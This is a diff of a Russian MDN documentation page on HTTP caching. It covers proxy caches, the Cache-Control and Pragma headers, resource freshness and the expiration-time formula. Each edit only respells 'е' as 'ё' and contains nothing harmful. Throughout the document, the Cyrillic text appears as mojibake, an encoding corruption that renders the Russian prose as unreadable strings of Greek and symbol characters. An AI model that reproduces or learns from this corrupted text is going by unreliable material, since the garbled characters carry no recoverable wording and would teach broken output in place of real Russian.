Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΌ страницам ΠΏΡ€ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Π½Π°Π·Π°Π΄/Π²ΠΏΠ΅Ρ€Ρ‘Π΄, позволяСт ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ страницы, ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΈΡ… ΠΊΠΎΠ΄, Π½Π΅ ΠΎΠ±Ρ€Π°Ρ‰Π°ΡΡΡŒ лишний Ρ€Π°Π· ΠΊ сСрвСру. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, кСш ΠΏΠΎΠ»Π΅Π·Π΅Π½ ΠΏΡ€ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠΈ ΠΎΡ‚ сСти.</p>
<h3 id="ΠžΠ±Ρ‰ΠΈΠΉ_shared_прокси-кСш">ΠžΠ±Ρ‰ΠΈΠΉ (shared) прокси-кСш</h3>
@@ -35,7 +35,7 @@ original_slug: Web/HTTP/ΠšΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅
<h2 id="Π¦Π΅Π»ΠΈ_ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ">Π¦Π΅Π»ΠΈ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ</h2>
-<p>ΠšΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π² HTTP Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π±Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π½Π΅Π΅ сохранСнныС рСсурсы. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, стандартныС кСши HTTP ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ способны ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ Π½Π° запросы ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ {{HTTPMethod("GET")}}, Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΡ‚ΠΊΠ»ΠΎΠ½ΡΡŽΡ‚.</p>
+<p>ΠšΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π² HTTP Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ, ΠΎΠ΄Π½Π°ΠΊΠΎ Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв Π±Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°Π½Π΅Π΅ сохранённыС рСсурсы. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, стандартныС кСши HTTP ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ способны ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΡ‚Π²Π΅Ρ‚Ρ‹ Π½Π° запросы ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ {{HTTPMethod("GET")}}, Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΡ‚ΠΊΠ»ΠΎΠ½ΡΡŽΡ‚.</p>
<p>ΠŸΠ΅Ρ€Π²ΠΈΡ‡Π½Ρ‹ΠΉ ΠΊΠ»ΡŽΡ‡ состоит ΠΈΠ· ΠΌΠ΅Ρ‚ΠΎΠ΄Π° запроса ΠΈ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ URI (Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ URI, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ†Π΅Π»ΡŒΡŽ ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎΒ GET-запросы). Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ записываСтся Π² кСш:</p>
@@ -49,7 +49,7 @@ original_slug: Web/HTTP/ΠšΡΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅
</li>
</ul>
-<p>Π—Π°ΠΏΠΈΡΡŒ Π² кСшС ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· мноТСства ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ², Ρ€Π°Π·Π»ΠΈΡ‡Π°Π΅ΠΌΡ‹Ρ… ΠΏΠΎ Π²Ρ‚ΠΎΡ€ΠΈΡ‡Π½ΠΎΠΌΡƒ ΠΊΠ»ΡŽΡ‡Ρƒ, Ссли ΠΏΡ€ΠΈ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π° производится согласованиС Π΄Π°Π½Π½Ρ‹Ρ…. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом рассказано <a href="#Varying_responses">Π½ΠΈΠΆΠ΅</a>, Π² Ρ€Π°Π·Π΄Π΅Π»Π΅, посвящСнном заголовку {{HTTPHeader("Vary")}}.</p>
+<p>Π—Π°ΠΏΠΈΡΡŒ Π² кСшС ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΡΠΎΡΡ‚ΠΎΡΡ‚ΡŒ ΠΈΠ· мноТСства ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ², Ρ€Π°Π·Π»ΠΈΡ‡Π°Π΅ΠΌΡ‹Ρ… ΠΏΠΎ Π²Ρ‚ΠΎΡ€ΠΈΡ‡Π½ΠΎΠΌΡƒ ΠΊΠ»ΡŽΡ‡Ρƒ, Ссли ΠΏΡ€ΠΈ Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ ΠΎΡ‚Π²Π΅Ρ‚Π° производится согласованиС Π΄Π°Π½Π½Ρ‹Ρ…. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом рассказано <a href="#Varying_responses">Π½ΠΈΠΆΠ΅</a>, Π² Ρ€Π°Π·Π΄Π΅Π»Π΅, посвящённом заголовку {{HTTPHeader("Vary")}}.</p>
<h2 id="Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅_ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ"><span class="long_text short_text" id="result_box" lang="ru"><span>Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅</span> </span>кСш<span class="long_text short_text" lang="ru"><span>ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ</span></span></h2>
@@ -89,23 +89,23 @@ Cache-Control: public
<h4 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ">ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ</h4>
-<p>ΠŸΡ€ΠΈ использовании Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹Β "must-revalidate" кСш обязан ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ статус рСсурсов с ΠΈΡΡ‚Π΅ΠΊΡˆΠΈΠΌ сроком дСйствия. Π’Π΅ ΠΊΠΎΠΏΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΡƒΡ‚Ρ€Π°Ρ‚ΠΈΠ»ΠΈ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом рассказано Π½ΠΈΠΆΠ΅, Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="#Cache_validation">Валидация кСша</a>.</p>
+<p>ΠŸΡ€ΠΈ использовании Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΈΠ²Ρ‹Β "must-revalidate" кСш обязан ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ статус рСсурсов с ΠΈΡΡ‚Ρ‘ΠΊΡˆΠΈΠΌ сроком дСйствия. Π’Π΅ ΠΊΠΎΠΏΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΡƒΡ‚Ρ€Π°Ρ‚ΠΈΠ»ΠΈ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом рассказано Π½ΠΈΠΆΠ΅, Π² Ρ€Π°Π·Π΄Π΅Π»Π΅ <a href="#Cache_validation">Валидация кСша</a>.</p>
<pre class="notranslate">Cache-Control: must-revalidate</pre>
<h3 id="Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ_Pragma">Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ <code>Pragma </code></h3>
-<p>{{HTTPHeader("Pragma")}} являСтся Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ HTTP/1.0. Он Π½Π΅ описан для HTTP-ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² ΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ Π½Π°Π΄Π΅ΠΆΠ½ΠΎΠΉ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ ΠΎΠ±Ρ‰Π΅ΠΌΡƒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ Cache-Control ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP/1.1, хотя Π΅Π³ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ "Cache-Control: no-cache" ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Cache-Control ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ Π² запросС. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ слСдуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для совмСстимости с ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌΠΈ HTTP/1.0.</p>
+<p>{{HTTPHeader("Pragma")}} являСтся Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ HTTP/1.0. Он Π½Π΅ описан для HTTP-ΠΎΡ‚Π²Π΅Ρ‚ΠΎΠ² ΠΈ, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ»ΡƒΠΆΠΈΡ‚ΡŒ Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΠΉ Π·Π°ΠΌΠ΅Π½ΠΎΠΉ ΠΎΠ±Ρ‰Π΅ΠΌΡƒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΡƒ Cache-Control ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° HTTP/1.1, хотя Π΅Π³ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ "Cache-Control: no-cache" ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Cache-Control ΠΎΠΏΡƒΡ‰Π΅Π½ΠΎ Π² запросС. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ слСдуСт Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для совмСстимости с ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌΠΈ HTTP/1.0.</p>
-<h2 id="Π‘Π²Π΅ΠΆΠ΅ΡΡ‚ΡŒ_сохранСнной_ΠΊΠΎΠΏΠΈΠΈ"><a id="Freshness" name="Freshness">Π‘Π²Π΅ΠΆΠ΅ΡΡ‚ΡŒ сохранСнной ΠΊΠΎΠΏΠΈΠΈ</a></h2>
+<h2 id="Π‘Π²Π΅ΠΆΠ΅ΡΡ‚ΡŒ_сохранённой_ΠΊΠΎΠΏΠΈΠΈ"><a id="Freshness" name="Freshness">Π‘Π²Π΅ΠΆΠ΅ΡΡ‚ΡŒ сохранённой ΠΊΠΎΠΏΠΈΠΈ</a></h2>
-<p>ΠžΠ΄Π½Π°ΠΆΠ΄Ρ‹ ΠΏΠΎΠΏΠ°Π² Π² кСш, рСсурс, тСорСтичСски, ΠΌΠΎΠΆΠ΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Ρ‚Π°ΠΌ Π²Π΅Ρ‡Π½ΠΎ. Однако, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ объСм Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΊΠΎΠ½Π΅Ρ‡Π΅Π½, записи пСриодичСски приходится ΠΎΡ‚Ρ‚ΡƒΠ΄Π° ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ.Β  Π­Ρ‚ΠΎΡ‚ процСсс Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ <em>вытСснСниСм Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· кСша</em> (cache eviction). ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, рСсурсы ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π½Π° сСрвСрС, поэтому кСш трСбуСтся ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ HTTP являСтся ΠΊΠ»ΠΈΠ΅Π½Ρ‚-сСрвСрным ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ, сСрвСра Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ сами ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ кСшам ΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ рСсурса; ΠΈΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒΡΡ ΠΎ срокС дСйствия сохранСнной ΠΊΠΎΠΏΠΈΠΈ. Π”ΠΎ Π΅Π³ΠΎ истСчСния рСсурс считаСтся <em>свСТим </em>(fresh), послС β€”Β <em>ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ </em>(stale). Алгоритмы вытСснСния ΠΎΡ‚Π΄Π°ΡŽΡ‚ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅ "свСТим" рСсурсам. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, копия рСсурса Π½Π΅ удаляСтся ΠΈΠ· кСша сразу ΠΆΠ΅ ΠΏΠΎ истСчСнии Π΅Π΅ срока дСйствия; ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ запроса Π½Π° ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ рСсурс кСш ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π΅Π³ΠΎ дальшС с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ {{HTTPHeader("If-None-Match")}} Π½Π° случай, Ссли копия всС Π΅Ρ‰Π΅ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Π°. Если это Ρ‚Π°ΠΊ, сСрвСр Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPStatus("304")}} <code>Not Modified</code> (Β«Π½Π΅ измСнялось»), Π° Ρ‚Π΅Π»ΠΎ рСсурса Π½Π΅ посылаСт, экономя Ρ‚Π΅ΠΌ самым Ρ‚Ρ€Π°Ρ„ΠΈΠΊ.</p>
+<p>ΠžΠ΄Π½Π°ΠΆΠ΄Ρ‹ ΠΏΠΎΠΏΠ°Π² Π² кСш, рСсурс, тСорСтичСски, ΠΌΠΎΠΆΠ΅Ρ‚ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒΡΡ Ρ‚Π°ΠΌ Π²Π΅Ρ‡Π½ΠΎ. Однако, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ объСм Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΊΠΎΠ½Π΅Ρ‡Π΅Π½, записи пСриодичСски приходится ΠΎΡ‚Ρ‚ΡƒΠ΄Π° ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ.Β  Π­Ρ‚ΠΎΡ‚ процСсс Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ <em>вытСснСниСм Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· кСша</em> (cache eviction). ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, рСсурсы ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π½Π° сСрвСрС, поэтому кСш трСбуСтся ΠΎΠ±Π½ΠΎΠ²Π»ΡΡ‚ΡŒ. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ HTTP являСтся ΠΊΠ»ΠΈΠ΅Π½Ρ‚-сСрвСрным ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»ΠΎΠΌ, сСрвСра Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ сами ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ кСшам ΠΈ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°ΠΌ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ рСсурса; ΠΈΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π΄ΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ΡŒΡΡ ΠΎ срокС дСйствия сохранённой ΠΊΠΎΠΏΠΈΠΈ. Π”ΠΎ Π΅Π³ΠΎ истСчСния рСсурс считаСтся <em>свСТим </em>(fresh), послС β€”Β <em>ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΌ </em>(stale). Алгоритмы вытСснСния ΠΎΡ‚Π΄Π°ΡŽΡ‚ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚Π΅Π½ΠΈΠ΅ "свСТим" рСсурсам. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, копия рСсурса Π½Π΅ удаляСтся ΠΈΠ· кСша сразу ΠΆΠ΅ ΠΏΠΎ истСчСнии Π΅Ρ‘ срока дСйствия; ΠΏΡ€ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ΠΈΠΈ запроса Π½Π° ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠΈΠΉ рСсурс кСш ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ Π΅Π³ΠΎ дальшС с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠΌ {{HTTPHeader("If-None-Match")}} Π½Π° случай, Ссли копия всС Π΅Ρ‰Ρ‘ Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Π°. Если это Ρ‚Π°ΠΊ, сСрвСр Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPStatus("304")}} <code>Not Modified</code> (Β«Π½Π΅ измСнялось»), Π° Ρ‚Π΅Π»ΠΎ рСсурса Π½Π΅ посылаСт, экономя Ρ‚Π΅ΠΌ самым Ρ‚Ρ€Π°Ρ„ΠΈΠΊ.</p>
<p>Π’ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΡ‚Π΅ΠΊΠ°Π΅Ρ‚ этот процСсс ΠΏΡ€ΠΈ использовании совмСстного кСша прокси:</p>
<p><img alt="Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale." src="https://mdn.mozillademos.org/files/13771/HTTPStaleness.png" style="height: 910px; width: 822px;"></p>
-<p>Π‘Ρ€ΠΎΠΊ дСйствия (freshnessLifetime) вычисляСтся Π½Π° основании Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ². Если Π·Π°Π΄Π°Π½ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ "Cache-control: max-age=N", Ρ‚ΠΎ срок дСйствия равСн N. Если Π΅Π³ΠΎ Π½Π΅Ρ‚, Π° это Π±Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ часто, провСряСтся Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Expires")}}, ΠΈ, Ссли ΠΎΠ½ Π΅ΡΡ‚ΡŒ, Ρ‚ΠΎ срок дСйствия бСрСтся Ρ€Π°Π²Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Expires минус Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Date. НаконСц, Ссли Π½Π΅Ρ‚ Π½ΠΈ Ρ‚ΠΎΠ³ΠΎ Π½ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ, смотрят Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Last-Modified.Β  Если ΠΎΠ½ Π΅ΡΡ‚ΡŒ, Ρ‚ΠΎ срок дСйствия Ρ€Π°Π²Π΅Π½ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Date минус Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Last-modified Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° 10.<br>
+<p>Π‘Ρ€ΠΎΠΊ дСйствия (freshnessLifetime) вычисляСтся Π½Π° основании Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ². Если Π·Π°Π΄Π°Π½ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ "Cache-control: max-age=N", Ρ‚ΠΎ срок дСйствия равСн N. Если Π΅Π³ΠΎ Π½Π΅Ρ‚, Π° это Π±Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ часто, провСряСтся Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ {{HTTPHeader("Expires")}}, ΠΈ, Ссли ΠΎΠ½ Π΅ΡΡ‚ΡŒ, Ρ‚ΠΎ срок дСйствия бСрётся Ρ€Π°Π²Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Expires минус Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Date. НаконСц, Ссли Π½Π΅Ρ‚ Π½ΠΈ Ρ‚ΠΎΠ³ΠΎ Π½ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ, смотрят Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Last-Modified.Β  Если ΠΎΠ½ Π΅ΡΡ‚ΡŒ, Ρ‚ΠΎ срок дСйствия Ρ€Π°Π²Π΅Π½ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Date минус Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Last-modified Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° 10.<br>
ВрСмя устарСвания (expirationTime) вычисляСтся ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<pre class="notranslate">expirationTime = responseTime + freshnessLifetime - currentAge
@@ -115,9 +115,9 @@ Cache-Control: public
<h3 id="ОбновлСниС_статичСских_рСсурсов_Revved_resources">ОбновлСниС статичСских рСсурсов (Revved resources)</h3>
-<p>Π§Π΅ΠΌ большС рСсурсов ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ взято ΠΈΠ· кСша, Ρ‚Π΅ΠΌ быстрСС сайт Ρ€Π΅Π°Π³ΠΈΡ€ΡƒΠ΅Ρ‚ Π½Π° запросы ΠΈ Ρ‚Π΅ΠΌ Π²Ρ‹ΡˆΠ΅ Π΅Π³ΠΎ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ. Из этих сообраТСний ΠΈΡ… "срок годности" ΠΈΠΌΠ΅Π΅Ρ‚ смысл Π΄Π΅Π»Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ большим. Однако, Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° с рСсурсами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±Π½ΠΎΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π΅Π΄ΠΊΠΎ ΠΈ нСрСгулярно. Как Ρ€Π°Π· ΠΈΡ… ΠΊΠ΅ΡˆΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π΄Π°Π΅Ρ‚ большС всСго Π²Ρ‹Π³ΠΎΠ΄Ρ‹, Π½ΠΎ сильно затрудняСт 